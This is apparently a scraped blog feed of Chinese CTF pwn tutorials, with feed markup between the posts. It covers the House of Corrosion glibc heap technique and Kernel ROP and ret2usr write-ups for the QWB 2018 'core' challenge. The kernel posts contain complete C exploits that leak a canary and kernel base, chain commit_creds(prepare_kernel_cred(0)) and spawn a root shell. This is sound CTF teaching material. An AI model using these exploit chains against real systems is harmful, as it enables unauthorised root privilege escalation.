如果我们往 global_max_fast 输入一个极大值的话，我们就可以造成 fastbinY 数组溢出 , 这样会使得我们在 malloc 和 free 堆块的时候 ，很大的 size 堆块都会被判定为是 fastbin 类型的堆块，fastbinY 是在glibc上储存fastbin不同大小链表头指针的一段空间，为大小从 0x20 开始的 fastbin 链表预留了十个指针 。

这就意味着，如果有size超过 0xb0 大小的堆块，那么这个堆块的索引值就会超出 fastbinsY 的最大范围 ，造成数组越界 ，通过这个原理，我们就可以把 fastbinY溢出到我们想要的位置 。

利用技巧：

溢出到目标位置的计算公式：

1
chunk size = (chunk addr - &main_arena.fastbinsY) x 2 + 0x2

读原语：

image-20250808153203066

想要读取到目标地址 X 上的 Y，我们可以通过释放fastbin A 到 X 处 , 这样我们的 A 的 fd 指针就指向了 Y ，通过打印就可以打印出 Y 的信息 。

写原语1：

image-20250808153403693

通过释放 fastbin A 到目标地址 X ，然后使用UAF漏洞修改 A 的 fd 指针为目标值B ，然后把 A 申请回来，这样我们就可以向 X 写入目标值 B 。

写原语2：

image-20250808154110778

我们想要把地址 M 上的 N 转移到 X 上

image-20250808154338784

就可以先通过UAF，部分写 A 的 fd 指针使其指向本身 ，形成类似 double free 的情况

image-20250808154731342

再把 A 给申请回来，纂改 A 的 size ，然后释放掉 A ，使其落到 M 处 ，此时 A 的 fd 指针变成了目标值 N

image-20250808155322692

再次纂改A 的 size ，使其落入 X ，然后我们把 A 给申请回来，就可以实现转移操作，将地址 M 的值 N 转移到地址 X 上 。

相关技巧：

虽然现在都可以使用 House of corrosion ，但是在 glibc-2.37 版本中 ，global_max_fast 的数据类型被修改成了 int8_u ，进而导致可控的空间范围大幅度缩小 。

组合利用：

House of corrosion 可以和多数手法组合利用，达到意想不到的效果，就比如可以结合 House of husk ，将 __printf_arginfo_table以及 __printf_function_table 修改成已知堆块地址然后进行进一步攻击，又或者说是 House of apple2 ，劫持 _IO_list_all 到已知堆块地址，进行 IO_FILE的伪造，又或是说可以结合 House of kiwi ，由于 House of kiwi 的手法利用需要触发 assert ，所以我们可以利用 House of corrosion 来修改 Topchunk 的 size ，使其变得不合法 ，再次申请大于写入 size 的堆块就能触发 assert ，总而言之，House of corrosion 的利用可以配合其他攻击手法，让我们的攻击更加灵活，还有很多组合利用方式，可以自己发挥想象。

参考链接：

https://xz.aliyun.com/news/6458

https://zhuanlan.zhihu.com/p/448880453

https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#29-house-of-corrosion

]]> https://spacedrag0n-1.github.io/posts/16109.html 2025-08-08T08:38:21.000Z House of corrosion House of Corrosion 2025-08-08T09:26:42.000Z SpaceDraG0n Kernel ROP

ROP 即返回导向编程（Return-oriented programming），应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流。

内核态的 ROP 与用户态的 ROP 一般无二，只不过利用的 gadget 变成了内核中的 gadget，所需要构造执行的 ropchain 由 system("/bin/sh") 变为了 commit_creds(&init_cred) 或 commit_creds(prepare_kernel_cred(NULL))，当我们成功地在内核中执行这样的代码后，当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝，我们也就获得了 root 权限，此时在用户态起一个 shell 便能获得 root shell。

状态保存

通常情况下，我们的 exploit 需要进入到内核当中完成提权，而我们最终仍然需要着陆回用户态以获得一个 root 权限的 shell，因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上，以便于后续着陆回用户态。

通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中，以便于构造 rop 链：

算是一个通用的 pwn 板子。

方便起见，使用了内联汇编，由于编写风格是 Intel 汇编，编译时需要指定参数：-masm=intel。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );

    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

返回用户态

由内核态返回用户态只需要：

  • swapgs 指令恢复用户态 GS 寄存器
  • sysretq 或者 iretq 恢复到用户空间

那么我们只需要在内核中找到相应的 gadget 并执行 swapgs;iretq 就可以成功着陆回用户态。

通常来说，我们应当构造如下 rop 链以返回用户态并获得一个 shell：

1
2
3
4
5
6
7
8
↓   swapgs
0
    iretq
    user_shell_addr
    user_cs
    user_eflags //64bit user_rflags
    user_sp
    user_ss

需要注意的是，在返回用户态执行 system() 函数时同样有可能遇到栈不平衡导致函数执行失败并最终 Segmentation Fault 的问题，因此在本地调试时若遇到此类问题，则可以将 user_sp 的值加减 8 以进行调整。

gdb调试

首先修改init文件，添加以下命令，以便可以获取core.ko的代码段的基址。这样内核启动时就是root权限，当然这是为了调试方便，真正执行exp可以去掉这条命令 。

1
setsid /bin/cttyhack setuidgid 0 /bin/sh

然后重新打包文件系统，运行start.sh起内核，在qemu中查找core.ko的.text段的地址：

1
2
/ # cat /sys/module/core/sections/.text
0xffffffffc0205000

在另外一个terminal中启动gdb：

1
gdb ./vmlinux -q

然后添加core.ko的符号表，加载了符号表之后就可以直接对函数名下断点了。

1
2
3
4
gdb-peda$ add-symbol-file ./core.ko 0xffffffffc0205000
add symbol table from file "./core.ko" at
  .text_addr = 0xffffffffc0205000
Reading symbols from ./core.ko...(no debugging symbols found)...done.

然后运行以下命令连接qemu进行调试：

1
target remote localhost:1234

exp编译

1
gcc exploit.c -static -masm=intel -g -o exploit

例题：强网杯 2018 - core

image-20250807183616766

题目给了我们四个文件分别是 bzImage 、core.cpio 、start.sh 、vmlinux

core.cpio 是一个打包文件，解包里面有文件系统 ，其中 vmlinux 命名的是内核的二进制文件， 而 core.ko 是存在漏洞的驱动，也就是题目分析的二进制文件 。

start.sh 是启动脚本 ，标明启动方法、保护措施等。

bzImage 是镜像文件

类比用户态的pwn，.ko 文件就是 binary 文件 ，vmlinux 就是 libc ，不同保护机制是由如何启动来决定的 。

如果题目中没有提供 vmlinux ，那么我们可以通过 ./extract-vmlinux ./bzImage > vmlinux 来从镜像文件中提取 vmlinux 。

和用户态做题思路一致，我们可以先观察一下程序开启了什么样的保护

image-20250714121645586

qemu-system-x86_64 代表的是模拟 x86_64 架构的计算机系统 。

-m 256M 代表的是内核的运行内存大小分配，其实题目一开始是分配 64M 大小的内存空间，但是我发现启动不了，于是我就把这个调到 256M 了 ，

-kernel ./bzlmage 指定要启动的 Linux 内核镜像文件 。bzImage 属于压缩格式的镜像文件，是 Linux 内核编译后生成的可执行文件。

initrd ./core.cpio 这是用来指定初始化 RAM 磁盘 (initrd) 的文件。initrd 是一个临时的根文件系统 ，在 Linux 内核的早期阶段会被加载。它包含了内核启动所需要的基本驱动程序和工具 。

-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" 此参数用于向内核传递启动参数

  • root=/dev/ram 告知内核根文件系统位于 RAM 中，也就是之前通过 -initrd 参数指定的 initrd 。
  • rw： 将跟文件系统设置为可读写模式 。
  • console=ttys0：把串口（ttyS0）设置为控制台 ，这样所有输出的信息都会通过串口显示，这在-nographic 模式下尤为重要 。
  • oops=panic：当系统文件出现严重（oops）时 ，让内核直接进入 panic 状态 。
  • panic=1：内核进入 panic 状态后 ，1 秒后自动重启系统 。
  • quiet：开启静默启动模式，只显示关键的启动信息，减少不必要的输出 。
  • kaslr：启用内核地址空间布局随机化（KASLR），增强系统的安全性 。

-s

这个是 -gdb tcp::1234 的简写形式 ，其功能是在 TCP 端口 1234 上开启 GDB 调试服务器 。通过这个服务器，你可以使用 GDB 远程调试内核 。

-netdev user,id=t0 -device e1000,netdev=t0,id=nic0

这部分用于配置虚拟机的网络设备：

  • -netdev user,id=t0：创建一个用户模式的网络设备，设备 ID 为 t0。这种网络模式提供了简单的网络功能，支持 NAT 转换，能让虚拟机访问外部网络。
  • -device e1000,netdev=t0,id=nic0：为虚拟机添加一个 e1000 型号的网卡，该网卡连接到之前创建的网络设备 t0，网卡 ID 为 nic0。

-nographic

该参数用于禁用图形输出，让 QEMU 以纯文本模式运行。此时，虚拟机的控制台输出会通过串口（ttyS0）显示在终端上，这对于没有图形界面的系统调试非常实用。

这些参数有的只要了解一个大概就行了 ，主要我们还是看内核的架构和保护 ，这道题目只开启了 kaslr ,也就是空间地址随机化。

接下来我们解压打包文件 ，查看文件系统，我之前用 Ubuntu 的时候，双击这个 core.cpio 就可以一键解压这个打包文件了 ，但是我后面换到了 WSL - Ubuntu-22.04 ，也就是子系统Ubuntu，但是它好像不支持这个快捷解压方式 ，所以我只能通过以下一些命令来对这个 core.cpio 进行一个解压：

1
2
3
4
5
mkdir core
cd core 
mv ../core.cpio core.cpio.gz
gunzip ./core.cpio.gz
cpio -idm < ./core.cpio

image-20250714125048599

这就是解压后的一个文件状态 ，之前说过我们漏洞的主要分析是在这个 core.ko 文件里面的 ，我们先来看一下 init 初始化启动脚本：

image-20250714125420323

这里面我看得也不是很懂，所以我就直接引用 ctfwiki 里面的原话了：

  • 第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中，那么我们就能从 /tmp/kallsyms 中读取 commit_creds，prepare_kernel_cred 的函数的地址了。
  • 第 10 行把 kptr_restrict 设为 1，这样就不能通过 /proc/kallsyms 查看函数地址了，但第 9 行已经把其中的信息保存到了一个可读的文件中，这句就无关紧要了。
  • 第 11 行把 dmesg_restrict 设为 1，这样就不能通过 dmesg 查看 kernel 的信息了。
  • 第 18 行设置了定时关机，为了避免本地做题时产生干扰，我们可以把这句删掉然后重新打包（已经被我删掉了）。

经过一些前置内核知识的学习 ，由于 kernel pwn 的最终目的是提权到 root ，一种简单方便的方法就是执行

1
commit_creds(prepare_kernel_cred(0));

看来这个 proc/kallsyms 中保存了这两个函数的地址 ，虽然后面关闭了 /proc/kallsyms 的读取，但是好在我们的init初始化脚本给我们保存到了 /tmp/kallsyms ，我们后面可以在这里进行一个函数地址的读取 。

修改完成之后，我们先删除之前的打包文件 core.cpio , 然后我们再次对文件系统进行一个打包 。

image-20250714130526337

由于题目给了我们一个方便打包的脚本，所以我们可以利用这个快速打包。

1
2
rm core.cpio
./gen_cpio.sh core.cpio

打包好之后我们就可以获得一个新的 core.cpio 文件 ，我们将这个core.cpio文件移到之前的文件夹，然后退出 core 文件夹 ，尝试使用 start.sh 启动脚本对内核进行一个启动。

image-20250714131039009

这就是启动成功的一个状态，可以看到 vscode 提示我们开启了一个端口 ，就是之前在 start.sh 启动文件设置的 -s ，在 TCP::1234 端口上开启一个 GDB 的远程调试服务器， 我们就可以通过这个端口来调试内核了 。

exit 退出内核， 我们开始前往 core 文件夹分析 core.ko 的程序漏洞

image-20250714131514614

amd64架构 ，canary保护 ，NX保护 ，我们接着用 IDA 打开这个 core.ko

image-20250714142935369

init_module 函数创造了 /proc/core 接口

image-20250714143020452

exit_core 函数删除了 /proc/core 接口

image-20250714143838810

交互函数 core_ioctl（）定义了三条命令 ，分别是调用 core_read（），core_copy_func（）和设置全局变量 off ：

core_read（）：

image-20250714143959039

从 v5[off] 拷贝 64 个字节到用户空间 ，由于全局变量off是我们可以控制的，所以我们可以合理的控制 off 来 leak canary 和栈上的一些其他数据 。

core_copy_func（）：

image-20250714150656178

我们的漏洞主要出现在这里 ，这里从 name 区域复制了a1个字节的数据到v2 ，但是我们这个a1前面有个检查要求小于等于63 ，可是我们通过观察数据类型发现， a1的数据类型由 int64 转化成了 unsigned __int16 ，也就是由有符号转化成无符号数据类型，这个时候，我们就可以让 a1 等于一个小于0的数据，比如说是0xffffffffffff0000|(0x100) ，我们就可以绕过这个检查，实现栈溢出 。

core_write（）：

image-20250714151027661

core_write（）向全局变量 name 上写 ，所以我们通过 core_write 和 core_copy_func 函数就可以完成 ROPchain 到内核空间的拷贝和执行 。

解题思路（来自ctfkiwi的总结）

经过如上的分析，可以得出以下解题思路：

  1. 通过 ioctl 设置 off，然后通过 core_read() 泄漏出 canary
  2. 通过 core_write() 向 name 写，构造 ropchain
  3. 通过 core_copy_func() 从 name 向局部变量上写，通过设置合理的长度和 canary 进行 rop
  4. 通过 rop 执行 commit_creds(prepare_kernel_cred(NULL)) 进行提权
  5. 返回用户态，通过 system(“/bin/sh”) 等起 shell

commit_creds（） 和 prepare_kernel_cred（）的地址之前说过可以通过init保存在/tmp/kallsyms的数据来进行读取，同时我们也可以根据其距离vmlinux的固定偏移来确定 gadgets 的地址 ，其实这里就和用户态linux的题目非常的相似了 。

我们先在qemu中查看这两个函数的地址 ：

image-20250714154407515

1
2
3
4
/ $ cat /tmp/kallsyms | grep commit_creds
ffffffff9e09c8e0 T commit_creds
/ $ cat /tmp/kallsyms | grep prepare_kernel_cred
ffffffff9e09cce0 T prepare_kernel_cred

然后计算这两个函数在 vmlinux 的偏移 ：

写一个简单的check脚本：

1
2
3
4
5
6
~/PWN/kernel/kernelROP/QWB2018-core/give_to_player                                 root@SpaceDraG0n 03:47:06 PM
❯ cat check.py   
from pwn import *
elf = ELF('./core/vmlinux')
print("commit_creds  >> " + hex(elf.symbols['commit_creds']-0xffffffff81000000))
print("prepare_kernel_cred  >>" + hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000))

image-20250714154752358

这样我们就可以把函数在 vmlinux 的偏移求出来了

image-20250714155737487

然后我们就可以通过实际函数地址减去得到的偏移，然后就可以知道vmlinux基地址 0xffffffff9e000000

当然我们这个vmlinux地址是会变的，但是我们之所以要求出来，是为了知道栈上其他地址对与vmlinux的固定偏移，知道了这个固定偏移我们就可以通过copy_to_user，把栈上的值减去偏移从而得到vmlinux_base

然后我们就去 vmlinux 里面找一些 gadget ，这里我们使用 ropper 进行一个提取 ，因为用 ROPgadget 进行提取会比较慢 。

1
ropper --file ./vmlinux --nocolor > gadget_ropper.txt

然后可以使用正则表达式寻找我们想要的gadget

image-20250719231948241

canary的值就是这个 ，然后因为我们赋值了0x40到buf，所以后面的数据也一同复制到了buf，所以我们可以得到core_base 以及 vmlinux_base ，至于固定偏移怎么求，我前面已经讲过了 。

image-20250719232832809

这里现在验证一下泄露有没有问题，发现没有问题我们就可以进行下一步 rop 的编写了 ，因为我们在内核空间是通过执行 commit_creds(prepare_kernel_cred(NULL)) 来提权的，所以我们要准备一个比较特殊的gadget mov rdi,rax;call rdx;

其实就是把prepare_kernel_cred(0) 的返回值放到rdi寄存器里面，然后调用commit_creds函数，但是这里不是直接调用 ，而是通过执行pop_rcx间接调用 ，rop构造如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int i = 0;
for(i=0;i<10;i++){
    rop[i] = canary;
}
i = 10;
rop[i++] = pop_rdi; 
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = pop_rcx;
rop[i++] = mov_rdi_rax_call_rdx;
rop[i++] = commit_creds;
rop[i++] = swapgs; //恢复用户GS寄存器
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
1
2
3
4
5
6
7
↓   swapgs
    iretq
    user_shell_addr
    user_cs
    user_eflags //64bit user_rflags
    user_sp
    user_ss

其实就是提权后构造以上的rop链

image-20250719235642606

然后我们可以利用 core_write 函数，把我们构造出来的rop通过copy_from_user函数来复制到name变量里面去，这里的 core_write 函数可以直接调用，不需要我们通过 ioctl 间接调用：

image-20250719235923415

大概是因为 core_write 函数被定义到 core_fops 这个全局变量里面 ，所以我们可以直接进行调用

image-20250720000310012

然后我们用数据类型引起的overflow，调用core_copy_func函数来布置rop栈溢出就可以实现内核提权了

image-20250720002143694

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<fcntl.h>
#include<string.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/ioctl.h>
#include<pthread.h>
void setoff(int fd,long long size){
    ioctl(fd,0x6677889c,size);
}
void core_read(int fd,char *buf){
    ioctl(fd,0x6677889b,buf);
}
void core_copy_func(int fd,long long size){
    ioctl(fd,0x6677889a,size);
}
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );

    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_shell(){
system("/bin/sh");
}

int main(){
    int fd ;
    size_t tmp;
    char buf[0x50];
    size_t rop[0x100];
    size_t vmlinux_base,canary,core_base;
    size_t commit_creds = 0x9c8e0;
    size_t prepare_kernel_cred = 0x9cce0;
    save_status();
    fd = open("/proc/core",O_RDWR); //程序创造了一个接口，所以我们需要把这个接口给打开 ，这样才能进行函数调用
    if(fd < 0) {
        printf("Open /proc/core error!\n");
        exit(0);
    }
    setoff(fd,0x40); // v4 距离 canary 的偏移是 0x40 ，而且v5的数据类型是char类型。
    core_read(fd,buf); //把canary读入用户态的buf 
    size_t pop_rdi = 0x000b2f;
    size_t push_rax = 0x02d112;
    size_t swapgs = 0x0d6;
    size_t iretq ;
    size_t xchg = 0x16684f0;
    size_t call_rax = 0x40398;
    size_t pop_rcx = 0x21e53;
    size_t pop_rbp = 0x3c4;
    size_t pop_rdx = 0xa0f49;
    size_t mov_rdi_rax_call_rdx = 0x01aa6a;
    //此时buf的前八个字节是我们的canary
    canary = (*(size_t *)(&buf[0]));
    puts("\033[34m\033[1m[*] leak success! .\033[0m");
    printf("\033[34m\033[1m[*] Canary  >> %p.\033[0m\n",canary);
    core_base = (*(size_t *)(&buf[2*8])) - 0x19b;
    puts("\033[34m\033[1m[*] leak success! .\033[0m");
    printf("\033[34m\033[1m[*] core_base  >> %p.\033[0m\n",core_base);
    vmlinux_base = (*(size_t *)(&buf[4*8]) - 0x1dd6d1);
    puts("\033[34m\033[1m[*] leak success! .\033[0m");
    printf("\033[34m\033[1m[*] vmlinux_base  >> %p.\033[0m\n",vmlinux_base);
    pop_rdi += vmlinux_base;
    pop_rcx += vmlinux_base;
    pop_rbp += vmlinux_base;
    pop_rdx += vmlinux_base;
    mov_rdi_rax_call_rdx += vmlinux_base;
    swapgs += core_base;
    iretq = 0x50ac2 + vmlinux_base;
    commit_creds += vmlinux_base;
    prepare_kernel_cred += vmlinux_base;
    int i = 0;
    for(i=0;i<10;i++){
        rop[i] = canary;
    }
    i = 10;
    rop[i++] = pop_rdi; 
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = pop_rdx;
    rop[i++] = pop_rcx;
    rop[i++] = mov_rdi_rax_call_rdx;
    rop[i++] = commit_creds;
    rop[i++] = swapgs; //恢复用户GS寄存器
    rop[i++] = 0;
    rop[i++] = iretq;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    write(fd,rop,i*8);
    core_copy_func(fd,0xf000000000000000+i*8);
    puts("\033[34m\033[1m[*] Attack Success! .\033[0m");
    return 0;
}

参考链接：

https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/rop/

https://ret2p4nda.github.io/2018/07/13/ciscn2018-core/

https://www.z1r0.top/2021/10/22/kernel%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/#%E6%94%BB%E5%87%BB%E6%B5%81%E7%A8%8B

]]> https://spacedrag0n-1.github.io/posts/16108.html 2025-08-07T09:53:26.000Z Kernel ROP

ROP]]>

Kernel初识 - Kernel ROP 2025-08-08T08:38:30.000Z SpaceDraG0n Kernel ret2usr

个人感觉这个手法有点类似于用户态的ret2shellcode，但又不完全相同

概述

在【未】开启 SMAP/SMEP 保护的情况下，用户空间无法访问内核空间的数据，但是内核空间可以访问 / 执行用户空间的数据，因此 ret2usr 这种攻击手法应运而生——通过 kernel ROP 以内核的 ring 0 权限执行用户空间的代码以完成提权。

通常 CTF 中的 ret2usr 还是以执行 commit_creds(prepare_kernel_cred(NULL)) 进行提权为主要的攻击手法，不过相比起构造冗长的 ROP chain，ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可，在这种情况下 我们只需要劫持内核执行流，而无需在内核空间构造复杂的 ROP 链条 。

✳ 对于开启了 SMAP/SMEP保护 的 kernel 而言，内核空间尝试直接访问用户空间会引起 kernel panic，我们将在下一章节讲述其绕过方式。

在 QEMU 启动参数中，我们可以为 CPU 参数加上 -smep,-smap 以显式关闭 SMEP&SMAP 保护，例如：

1
2
3
4
5
#!/bin/sh
qemu-system-x86_64 \
    -enable-kvm \
    -cpu host,-smep,-smap \
# ...

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void get_shell(){
system("/bin/sh");
}

size_t prepare_kernel_cred , commit_creds;
void* (*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);


void privilege_escalation(){
    if(commit_creds && prepare_kernel_cred){
        (*((void (*)(char *))commit_creds))(
            (*((char* (*)(int))prepare_kernel_cred))(0)
        );
    }
}

例题：强网杯 2018 - core

Kernel ret2usr

直接贴exp了，只需要把直接内核提权的rop换成我们用户态构造好的提权函数地址即可，如果对前面的相关思路还没有了解的，可以去看我的之前的博客 ，Kernel ROP 。

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<fcntl.h>
#include<string.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/ioctl.h>
#include<pthread.h>
void setoff(int fd,long long size){
    ioctl(fd,0x6677889c,size);
}
void core_read(int fd,char *buf){
    ioctl(fd,0x6677889b,buf);
}
void core_copy_func(int fd,long long size){
    ioctl(fd,0x6677889a,size);
}
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );

    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_shell(){
system("/bin/sh");
}

int fd ;
size_t tmp;
char buf[0x50];
size_t rop[0x100];
size_t vmlinux_base,canary,core_base;
size_t commit_creds = 0x9c8e0;
size_t prepare_kernel_cred = 0x9cce0;
size_t pop_rdi = 0x000b2f;
size_t push_rax = 0x02d112;
size_t swapgs = 0x0d6;
size_t iretq ;
size_t xchg = 0x16684f0;
size_t call_rax = 0x40398;
size_t pop_rcx = 0x21e53;
size_t pop_rbp = 0x3c4;
size_t pop_rdx = 0xa0f49;
size_t mov_rdi_rax_call_rdx = 0x01aa6a;
int i = 0;

void get_addr(){

    save_status();
    fd = open("/proc/core",O_RDWR); //程序创造了一个接口，所以我们需要把这个接口给打开 ，这样才能进行函数调用
    if(fd < 0) {
        printf("Open /proc/core error!\n");
        exit(0);
    }
    setoff(fd,0x40); // v4 距离 canary 的偏移是 0x40 ，而且v5的数据类型是char类型。
    core_read(fd,buf); //把canary读入用户态的buf 

    //此时buf的前八个字节是我们的canary
    canary = (*(size_t *)(&buf[0]));
    puts("\033[34m\033[1m[*] leak success! .\033[0m");
    printf("\033[34m\033[1m[*] Canary  >> %p.\033[0m\n",canary);
    core_base = (*(size_t *)(&buf[2*8])) - 0x19b;
    puts("\033[34m\033[1m[*] leak success! .\033[0m");
    printf("\033[34m\033[1m[*] core_base  >> %p.\033[0m\n",core_base);
    vmlinux_base = (*(size_t *)(&buf[4*8]) - 0x1dd6d1);
    puts("\033[34m\033[1m[*] leak success! .\033[0m");
    printf("\033[34m\033[1m[*] vmlinux_base  >> %p.\033[0m\n",vmlinux_base);
    pop_rdi += vmlinux_base;
    pop_rcx += vmlinux_base;
    pop_rbp += vmlinux_base;
    pop_rdx += vmlinux_base;
    mov_rdi_rax_call_rdx += vmlinux_base;
    swapgs += core_base;
    iretq = 0x50ac2 + vmlinux_base;
    commit_creds += vmlinux_base;
    prepare_kernel_cred += vmlinux_base;

 
}

void privilege_escalation(){
    if(commit_creds && prepare_kernel_cred){
        (*((void (*)(char *))commit_creds))(
            (*((char* (*)(int))prepare_kernel_cred))(0)
        );
    }
}

int main(){
   get_addr();
   for(i=0;i<10;i++){
        rop[i] = canary;
    }
    i = 10;
    rop[i++] = (size_t)privilege_escalation;
    rop[i++] = swapgs; //恢复用户GS寄存器
    rop[i++] = 0;
    rop[i++] = iretq;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    write(fd,rop,i*8);
    core_copy_func(fd,0xf000000000000000+i*8);
    puts("\033[34m\033[1m[*] Attack Success! .\033[0m");
    return 0;
}

image-20250720202401158

参考链接：

https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/ret2usr/

]]> https://spacedrag0n-1.github.io/posts/16113.html 2025-07-20T11:02:29.000Z Kernel]]> Kernel初识 - Kernel ret2usr 2025-08-11T05:32:45.000Z